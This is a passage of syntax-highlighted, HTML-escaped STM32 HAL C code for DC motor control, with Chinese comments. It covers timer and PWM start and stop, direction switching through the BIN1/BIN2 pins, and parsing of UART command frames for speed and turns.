class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Time Control tim 开启定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Start_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start the pwm tim 开启pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数。 防止下次启动时有上次残留的值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Encoder tim 关闭解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Time Control tim 关闭定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Stop_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop the pwm tim 关闭pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个函数用来设定电机 正转/反转/不转/刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里需要对照你的接线来设定,BIN1和BIN2对应的不同状态状态可以在驱动的说明中找到\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 同时也要对应好 屏幕设定的 复选框 发送的0/1对应的正反转\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 1 foreward\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 0 reversal\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -1 stop\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -2 brake\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_RxCpltCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUART_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这是HAL库提供的UART接收完成回调函数,当UART接收完成时,该函数会被自动调用。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 判断是哪个UART触发了回调,这里使用了单个UART1,可以根据实际情况进行扩展。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除空闲中断标志位,UART通信中,空闲中断通常用于检测接收结束。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_CLEAR_IDLEF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 禁用UART发送中断,以防止在处理接收数据时发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_DISABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查接收到的数据是否符合预期的协议,如果传输中出错了,就直接跳过不执行,根据协议格式解析数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// -1 -2 -3\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFF\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFE\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFD\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 从接收到的数据中提取速度、圈数和模式信息。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查速度和圈数是否都不为零,才需要转动。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果目标速度和位置都为零,则说明当前没有进行任何动作,可以开始新的动作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan 